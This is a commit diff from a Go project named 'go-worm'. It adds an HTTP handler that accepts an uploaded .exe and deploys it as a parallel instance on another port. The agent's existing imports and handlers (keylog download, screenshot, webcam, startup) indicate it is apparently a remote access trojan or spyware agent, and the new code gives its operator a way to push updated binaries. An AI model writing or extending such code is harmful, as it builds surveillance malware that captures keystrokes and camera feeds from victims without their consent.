feat(update): add update deployment via web UI

- Deploy exe to alternate port 5033
- Current instance keeps running
- Add parallel mode and addr flag
- Add update panel to web UI
- Update OpenAPI spec and CLI

lib/agent/handlers.go

@@ -24,6 +24,7 @@ import (
 	"tea.chunkbyte.com/kato/go-worm/lib/openapi"
 	"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
 	"tea.chunkbyte.com/kato/go-worm/lib/startup"
+	"tea.chunkbyte.com/kato/go-worm/lib/update"
 	"tea.chunkbyte.com/kato/go-worm/lib/webcam"
 )
 
@@ -567,3 +568,42 @@ func (a *Agent) handleKeylogDownload(w http.ResponseWriter, r *http.Request) {
 	w.Header().Set("Accept-Ranges", "bytes")
 	http.ServeContent(w, r, info.Name(), info.ModTime(), file)
 }
+
+func (a *Agent) handleUpdate(w http.ResponseWriter, r *http.Request) {
+	if r.Method != http.MethodPost {
+		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+		return
+	}
+	r.Body = http.MaxBytesReader(w, r.Body, config.MaxUploadSize)
+	if err := r.ParseMultipartForm(config.MaxUploadSize); err != nil {
+		helpers.WriteError(w, http.StatusBadRequest, "upload body is too large or invalid")
+		return
+	}
+	upload, header, err := r.FormFile("file")
+	if err != nil {
+		helpers.WriteError(w, http.StatusBadRequest, "file is required")
+		return
+	}
+	defer upload.Close()
+	if !strings.EqualFold(filepath.Ext(header.Filename), ".exe") {
+		helpers.WriteError(w, http.StatusBadRequest, "file must be a .exe")
+		return
+	}
+
+	saved, nextAddr, err := update.Deploy(a.addr, upload)
+	if err != nil {
+		helpers.Log.Printf("update deploy: %v", err)
+		if strings.Contains(err.Error(), "not available") {
+			helpers.WriteError(w, http.StatusConflict, err.Error())
+			return
+		}
+		helpers.WriteError(w, http.StatusBadRequest, err.Error())
+		return
+	}
+	helpers.WriteJSON(w, http.StatusOK, map[string]any{
+		"ok":                      true,
+		"path":                    saved,
+		"listen_address":          nextAddr,
+		"previous_listen_address": a.addr,
+	})
+}